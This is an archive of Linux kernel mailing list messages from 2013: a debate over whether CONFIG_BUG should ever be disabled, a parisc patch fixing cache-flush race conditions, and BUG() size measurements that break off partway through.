X-Trace: ger.gmane.org 1369736841 22652 80.91.229.3 (28 May 2013 10:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 10:27:21 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 uml-devel <user-mode-linux-devel@lists.sourceforge.net>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 H?vard Skinnemoen <hskinnemoen@gmail.com>,
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue May 28 12:27:13 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UhH7X-0001aB-U7
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 28 May 2013 12:27:12 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 98C262C03F1
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 28 May 2013 20:27:10 +1000 (EST)
Original-Received: from intranet.asianux.com (intranet.asianux.com [58.214.24.6])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id F1C7F2C030E
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 28 May 2013 20:26:43 +1000 (EST)
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
 id B020218402A7; Tue, 28 May 2013 18:26:35 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
 RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by intranet.asianux.com (Postfix) with ESMTP id EC3121840253;
 Tue, 28 May 2013 18:26:33 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130528081910.GA29557@gmail.com>
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59606 gmane.linux.ports.sh.devel:23364 gmane.linux.kernel.cross-arch:18134 gmane.linux.uml.devel:13946 gmane.linux.uml.user:14497 gmane.linux.hardware.blackfin.kernel.devel:7117 gmane.linux.ports.arm.kernel:239481 gmane.linux.ports.parisc:5086 gmane.linux.kernel:1497630 gmane.linux.ports.hexagon:598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59606>

On 05/28/2013 04:19 PM, Ingo Molnar wrote:
>> > And I come back to one of my previous arguments - is it not better to 
>> > panic() if we hit one of these conditions so that the system can try to 
>> > do a panic-reboot rather than continue blindly into the unknown?
> It will often continue blindly into the unknown even if the compiler is 
> happy ...
> 

For Server, it is necessary to always enable CONFIG_BUG and call panic()

When analyzing core dump or KDB trap, we have to assume that the kernel
has already "continued blindly", but lucky, we can get the core dump or
KDB trap finally (sometimes, we really even can not get core dump or KDB
trap).


For PC, it is useless to disable CONFIG_BUG

The PC memory has already large enough to skip the minimal size
optimization. And its speed is also high enough to skip the speed
improvement by minimal size optimization.


For Embedded system, some of architectures may disable CONFIG_BUG.

Embedded system are widely used in many area, so the requirement of each
architectures for BUG() may be different,

  some may need reboot as quickly as possible for urgent processing;
  some may need dead looping in BUG() for avoid user amazing;
    (if auto-reboot, users feel out of control, don't know what happens)
  some may still need panic() just like Server requirements.
  others may not care about it, just implement it as minimal size.



> The only difference is that i

t's "unpredictable" in a way not visible from
> the C code: the code won't necessarily fall through the BUG() when hitting 
> that condition - although in practice it probably will.
> 
> So I think the same principle applies to it as to any other debugging 
> code: it's fine to be able to turn debugging off. It's a performance 
> versus kernel robustness/determinism trade-off.

'minimal size' for BUG() is belongs to some of Embedded system specific
features, it is not 'generic' enough to be in "include/asm-generic/".

If we still provide the "disable CONFIG_BUG", some of 'crazy users'
(e.g. randconfig) may make 'noise' to most of architectures.

So we need not provide "disable CONFIG_BUG" features for all platforms,
since most of architectures need not support it, and the architecture
which really need minimal size, can implement it by itself as a
architecture specific feature.



Thanks.
-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix race conditions flushing user cache pages
Date: Tue, 28 May 2013 08:09:44 -0400
Lines: 353
Approved: news@gmane.org
Message-ID: <BLU0-SMTP84F3DE8CE6D8B9F60C5C2597970@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-8-593760307"
X-Trace: ger.gmane.org 1369743005 25869 80.91.229.3 (28 May 2013 12:10:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 12:10:05 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 28 14:10:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UhIj5-0003L7-Qd
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 May 2013 14:10:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933338Ab3E1MKD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 May 2013 08:10:03 -0400
Original-Received: from blu0-omc4-s27.blu0.hotmail.com ([65.55.111.166]:16250 "EHLO
	blu0-omc4-s27.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S933211Ab3E1MKC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 May 2013 08:10:02 -0400
Original-Received: from BLU0-SMTP84 ([65.55.111.135]) by blu0-omc4-s27.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 28 May 2013 05:10:00 -0700
X-EIP: [zlAKDBzf2vxqlNIgGmmVAE+1GqB86WFq]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.240]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 28 May 2013 05:10:00 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 28 May 2013 12:10:00.0699 (UTC) FILETIME=[472584B0:01CE5B9C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5087>

--Apple-Mail-8-593760307
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

There are two issues addressed by this patch:

1) When we flush user instruction and data pages using the kernel  
tmpalias region, we need to
ensure that the local TLB entry for the tmpalias page is never  
replaced with a different mapping.
Previously, we purged the entry before and after the cache flush  
loop.  Although preemption was
disabled, it seemed possible that the value might change during  
interrupt processing.  The patch
removes the purge and disables interrupts during the initial TLB entry  
purge and cache flush.

2) In a number of places, we flush the TLB for the page and then flush  
the page.  We disabled
preemption around the flush.  This change disables preemption around  
both the TLB and cache
flushes as it seemed the effect of the purge might be lost.

Without this change, I saw four random segmentation faults in about  
1.5 days of intensive package
building last weekend.  With the change, I haven't seen a single  
random segmentation fault in about
one week of building Debian packages on 4-way rp3440.  So, there is a  
significant improvement
in system stability.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---



--Apple-Mail-8-593760307
Content-Disposition: attachment; filename="cache.d.1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache.d.1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f0e2784..772dc27 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -114,8 +114,8 @@ static inline void
 flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr)
 {
 	if (PageAnon(page)) {
-		flush_tlb_page(vma, vmaddr);
 		preempt_disable();
+		flush_tlb_page(vma, vmaddr);
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
 		preempt_enable();
 	}
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 65fb4cb..2bbdada 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -397,10 +397,10 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 	   the kernel mapping. */
 	preempt_disable();
 	flush_dcache_page_asm(__pa(vfrom), vaddr);
-	preempt_enable();
 	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
+	preempt_enable();
 }
 EXPORT_SYMBOL(copy_user_page);
 
@@ -619,11 +619,11 @@ void clear_user_highpage(struct page *page, unsigned long vaddr)
 	   and the write-capable translation removed from the page
 	   table and purged from the TLB."  */
 
+	preempt_disable();
 	purge_kernel_dcache_page_asm((unsigned long)vto);
 	purge_tlb_start(flags);
 	pdtlb_kernel(vto);
 	purge_tlb_end(flags);
-	preempt_disable();
 	clear_user_page_asm(vto, vaddr);
 	preempt_enable();
 
@@ -644,12 +644,12 @@ void copy_user_highpage(struct page *to, struct page *from,
 	vfrom = kmap_atomic(from);
 	vto = kmap_atomic(to);
 
+	preempt_disable();
 	purge_kernel_dcache_page_asm((unsigned long)vto);
 	purge_tlb_start(flags);
 	pdtlb_kernel(vto);
 	pdtlb_kernel(vfrom);
 	purge_tlb_end(flags);
-	preempt_disable();
 	copy_user_page_asm(vto, vfrom, vaddr);
 	flush_dcache_page_asm(__pa(vto), vaddr);
 	preempt_enable();
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 36d7f40..46a83be 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -331,11 +331,10 @@ ENDPROC(flush_data_cache_local)
 
 /* Macros to serialize TLB purge operations on SMP.  */
 
-	.macro	tlb_lock	la,flags,tmp
+	.macro	tlb_lock	la,tmp
 #ifdef CONFIG_SMP
 	ldil		L%pa_tlb_lock,%r1
 	ldo		R%pa_tlb_lock(%r1),\la
-	rsm		PSW_SM_I,\flags
 1:	LDCW		0(\la),\tmp
 	cmpib,<>,n	0,\tmp,3f
 2:	ldw		0(\la),\tmp
@@ -346,11 +345,10 @@ ENDPROC(flush_data_cache_local)
 #endif
 	.endm
 
-	.macro	tlb_unlock	la,flags,tmp
+	.macro	tlb_unlock	la,tmp
 #ifdef CONFIG_SMP
 	ldi		1,\tmp
 	stw		\tmp,0(\la)
-	mtsm		\flags
 #endif
 	.endm
 
@@ -617,16 +615,22 @@ ENTRY(copy_user_page_asm)
 	depwi		1, 9,1, %r29		/* Form aliased virtual address 'from' */
 #endif
 
+	/* We need to ensure that the TLB entry is not replaced with
+	   a different value while the clear/copy loop executes.
+	   If this results in too much latency, interrupts could
+	   be re-enabled periodically.  */
+	rsm		PSW_SM_I, %r19		/* save I-bit state */
+
 	/* Purge any old translations */
 
 #ifdef CONFIG_PA20
 	pdtlb,l		0(%r28)
 	pdtlb,l		0(%r29)
 #else
-	tlb_lock	%r20,%r21,%r22
+	tlb_lock	%r20,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
-	tlb_unlock	%r20,%r21,%r22
+	tlb_unlock	%r20,%r22
 #endif
 
 #ifdef CONFIG_64BIT
@@ -736,7 +740,7 @@ ENTRY(copy_user_page_asm)
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
 #endif
-
+	mtsm		%r19
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -765,14 +769,20 @@ ENTRY(clear_user_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
+	/* We need to ensure that the TLB entry is not replaced with
+	   a different value while the clear/copy loop executes.
+	   If this results in too much latency, interrupts could
+	   be re-enabled periodically.  */
+	rsm		PSW_SM_I, %r19		/* save I-bit state */
+
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
 	pdtlb,l		0(%r28)
 #else
-	tlb_lock	%r20,%r21,%r22
+	tlb_lock	%r20,%r22
 	pdtlb		0(%r28)
-	tlb_unlock	%r20,%r21,%r22
+	tlb_unlock	%r20,%r22
 #endif
 
 #ifdef CONFIG_64BIT
@@ -823,6 +833,7 @@ ENTRY(clear_user_page_asm)
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
+	mtsm		%r19
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -849,18 +860,20 @@ ENTRY(flush_dcache_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
+	rsm		PSW_SM_I, %r19		/* save I-bit state */
+
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
 	pdtlb,l		0(%r28)
 #else
-	tlb_lock	%r20,%r21,%r22
+	tlb_lock	%r20,%r22
 	pdtlb		0(%r28)
-	tlb_unlock	%r20,%r21,%r22
+	tlb_unlock	%r20,%r22
 #endif
 
 	ldil		L%dcache_stride, %r1
-	ldw		R%dcache_stride(%r1), %r1
+	ldw		R%dcache_stride(%r1), %r23
 
 #ifdef CONFIG_64BIT
 	depdi,z		1, 63-PAGE_SHIFT,1, %r25
@@ -868,37 +881,30 @@ ENTRY(flush_dcache_page_asm)
 	depwi,z		1, 31-PAGE_SHIFT,1, %r25
 #endif
 	add		%r28, %r25, %r25
-	sub		%r25, %r1, %r25
-
-
-1:      fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
-	fdc,m		%r1(%r28)
+	sub		%r25, %r23, %r25
+
+
+1:      fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
+	fdc,m		%r23(%r28)
 	cmpb,COND(<<)		%r28, %r25,1b
-	fdc,m		%r1(%r28)
+	fdc,m		%r23(%r28)
 
+	mtsm		%r19
 	sync
 
-#ifdef CONFIG_PA20
-	pdtlb,l		0(%r25)
-#else
-	tlb_lock	%r20,%r21,%r22
-	pdtlb		0(%r25)
-	tlb_unlock	%r20,%r21,%r22
-#endif
-
 	bv		%r0(%r2)
 	nop
 	.exit
@@ -925,18 +931,20 @@ ENTRY(flush_icache_page_asm)
 	depwi		0, 31,PAGE_SHIFT, %r28	/* Clear any offset bits */
 #endif
 
+	rsm		PSW_SM_I, %r19		/* save I-bit state */
+
 	/* Purge any old translation */
 
 #ifdef CONFIG_PA20
 	pitlb,l         %r0(%sr4,%r28)
 #else
-	tlb_lock        %r20,%r21,%r22
+	tlb_lock        %r20,%r22
 	pitlb           (%sr4,%r28)
-	tlb_unlock      %r20,%r21,%r22
+	tlb_unlock      %r20,%r22
 #endif
 
 	ldil		L%icache_stride, %r1
-	ldw		R%icache_stride(%r1), %r1
+	ldw		R%icache_stride(%r1), %r23
 
 #ifdef CONFIG_64BIT
 	depdi,z		1, 63-PAGE_SHIFT,1, %r25
@@ -944,39 +952,32 @@ ENTRY(flush_icache_page_asm)
 	depwi,z		1, 31-PAGE_SHIFT,1, %r25
 #endif
 	add		%r28, %r25, %r25
-	sub		%r25, %r1, %r25
+	sub		%r25, %r23, %r25
 
 
 	/* fic only has the type 26 form on PA1.1, requiring an
 	 * explicit space specification, so use %sr4 */
-1:      fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
-	fic,m		%r1(%sr4,%r28)
+1:      fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
 	cmpb,COND(<<)	%r28, %r25,1b
-	fic,m		%r1(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
 
+	mtsm		%r19
 	sync
 
-#ifdef CONFIG_PA20
-	pitlb,l         %r0(%sr4,%r25)
-#else
-	tlb_lock        %r20,%r21,%r22
-	pitlb           (%sr4,%r25)
-	tlb_unlock      %r20,%r21,%r22
-#endif

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.hardware.blackfin.kernel.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Tue, 28 May 2013 16:49:20 +0200
Lines: 165
Approved: news@gmane.org
Message-ID: <2827337.zlCzuksfVM@wuerfel>
References: <519DCBEF.3090208@asianux.com>
 <20130523100409.GK18614@n2100.arm.linux.org.uk>
 <20130528081910.GA29557@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369752735 10569 80.91.229.3 (28 May 2013 14:52:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 14:52:15 +0000 (UTC)
Cc: Linux-sh list <linux-sh@vger.kernel.org>,
 Catalin Marinas <Catalin.Marinas@arm.com>, Chen Gang <gang.chen@asianux.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>, Ingo Molnar <mingo@kernel.org>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 H?vard Skinnemoen <hskinnemoen@gma
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue May 28 16:52:10 2013
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1UhLFw-0008JO-As
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 28 May 2013 16:52:09 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 86C122C03E8
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 29 May 2013 00:52:06 +1000 (EST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
 [212.227.126.171]) (using TLSv1 with cipher RC4-SHA (128/128 bits))
 (Client did not present a certificate)
 by ozlabs.org (Postfix) with ESMTPS id 8AE7D2C0362
 for <linuxppc-dev@lists.ozlabs.org>; Wed, 29 May 2013 00:51:23 +1000 (EST)
Original-Received: from wuerfel.localnet
 (HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de [95.208.2.43])
 by mrelayeu.kundenserver.de (node=mreu2) with ESMTP (Nemesis)
 id 0M6ym1-1UT88y3jc5-00xHkb; Tue, 28 May 2013 16:49:23 +0200
User-Agent: KMail/4.10.2 (Linux/3.9.0-2-generic; KDE/4.10.3; x86_64; ; )
In-Reply-To: <20130528081910.GA29557@gmail.com>
X-Provags-ID: V02:K0:u/tuxvSviNJ2JGjQBUVyT2hytWDSLztrKBgL2GfAWIl
 JgGHtyjJ5g1yYc23T3tlcxpWks7VxXeL44/ksXol8zEjelcuuT
 7mDoqBBEsqdbOUmCmKZ65Boyef3a2R3Je5ymTqeSrTClX32TVb
 zHmOGei531SSGycHAKMd8su7ui5XIujEF6s2eZxydgDylDd1fo
 /xqRbzS5gK8pI6j6ryzrLQYOLk7E0vyLLbXlRw1rf3Gy8RSl0Q
 uJgTuDac79og/XHro5vWLdRS5VmhxFTFTt42e7dRIGT7k+Y4xY
 7r4sSKPxYW5v2jjd5/gf93OKcJOTjCgbwBROYwa6Cq73qfTdoS
 RMbfsnExHcooQZzNtUJo=
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:59607 gmane.linux.ports.sh.devel:23374 gmane.linux.kernel.cross-arch:18148 gmane.linux.uml.devel:13947 gmane.linux.uml.user:14498 gmane.linux.ports.arm.kernel:239549 gmane.linux.ports.parisc:5088 gmane.linux.kernel:1497777 gmane.linux.ports.hexagon:599 gmane.linux.hardware.blackfin.kernel.devel:7118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/59607>

On Tuesday 28 May 2013 10:19:10 Ingo Molnar wrote:
> 
> * Russell King - ARM Linux <linux@arm.linux.org.uk> wrote:
> 
> > So, if you want to use this, then you should update the CONFIG_BUG text 
> > to include a warning to this effect:
> > 
> >      Warning: if CONFIG_BUG is turned off, and control flow reaches
> >      a BUG(), the system behaviour will be undefined.
> > 
> > so that people can make an informed choice about this, because at the
> > moment:
> > 
> >           Disabling this option eliminates support for BUG and WARN, reducing
> >           the size of your kernel image and potentially quietly ignoring
> >           numerous fatal conditions. You should only consider disabling this
> >           option for embedded systems with no facilities for reporting errors.
> >           Just say Y.
> > 
> > will become completely misleading.  Turning this option off will _not_ 
> > result in "quietly ignoring numerous fatal conditions".
> 
> I'm fine with adding your text as a clarification - but I think 'quietly 
> ignoring fatal conditions' very much implies an undefined outcome if that 
> unexpected condition does occur: the code might crash, it might corrupt 
> memory or it might do some other unexpected thing.
> 
> There are many other places that do a BUG_ON() of a NULL pointer or so, or 
> of a zero refcount, or a not held lock - and turning the BUG_ON() off 
> makes the code unpredictable _anyway_ - even if the compiler does not 
> notice an uninitialized variable.
> 
> So pretty much any weakening of BUG_ON() _will_ make the kernel more 
> unpredictable.

FWIW, I've run some size analyis using the ARM 'multi_v7_defconfig'
and gcc-4.8, using various definitions for BUG() and BUG_ON(), to
see how big the size improvement actually gets

1. Baseline: normal bug plus CONFIG_BUG_VERBOSE
   text    data     bss     dec     hex filename
3743196  224396  206812 4174404  3fb244 vmlinux-bugverbose

2. disabling CONFIG_BUG_VERBOSE, saving 0.6%
3716920  224380  206812 4148112  3f4b90 vmlinux-nobugverbose

3. #define BUG() panic(__func__), #define BUG_ON(c) if(c) BUG(), saving 1.0%
3701076  224384  206812 4132272  3f0db0 vmlinux-bug-panicfunc

3. #define BUG() panic(__func__), #define BUG_ON(c) if(c) BUG(), saving 1.5%
3678884  224400  206812 4110096  3eb710 vmlinux-bug-panic

4. #define BUG() unreachable(), saving 2.1%
3652636  224384  206812 4083832  3e5078 vmlinux-bug-unreachable

5. as 4, plus #define BUG_ON(c) if(c) unreachable(), saving 2.2%
3651108  224380  206812 4082300  3e4a7c vmlinux-bugon-unreachable

6. #define BUG() do{}while(0), saving 2.1%
3654264  224380  206812 4085456  3e56d0 vmlinux-nobug

7. as 6, plus #define BUG_ON if(0 && (c)) unreachable, saving 2.2%
3648392  223996  206748 4079136  3e3e20 vmlinux-no-bugon

8. my patch below, saving 1.8%
3666532  224380  206812 4097724  3e86bc obj-tmp/vmlinux

The gain of doing unreachable and letting the code run off whereever
is minimal compared to the current state of doing nothing, but it
avoids the warnings.

Same test using x86_defconfig:

1. CONFIG_BUG=y, CONFIG_BUGVERBOSE=n
10797859        1395648 1175552 13369059         cbfee3 vmlinux-x86-bug

2. CONFIG_BUG=n, saves 1.0%
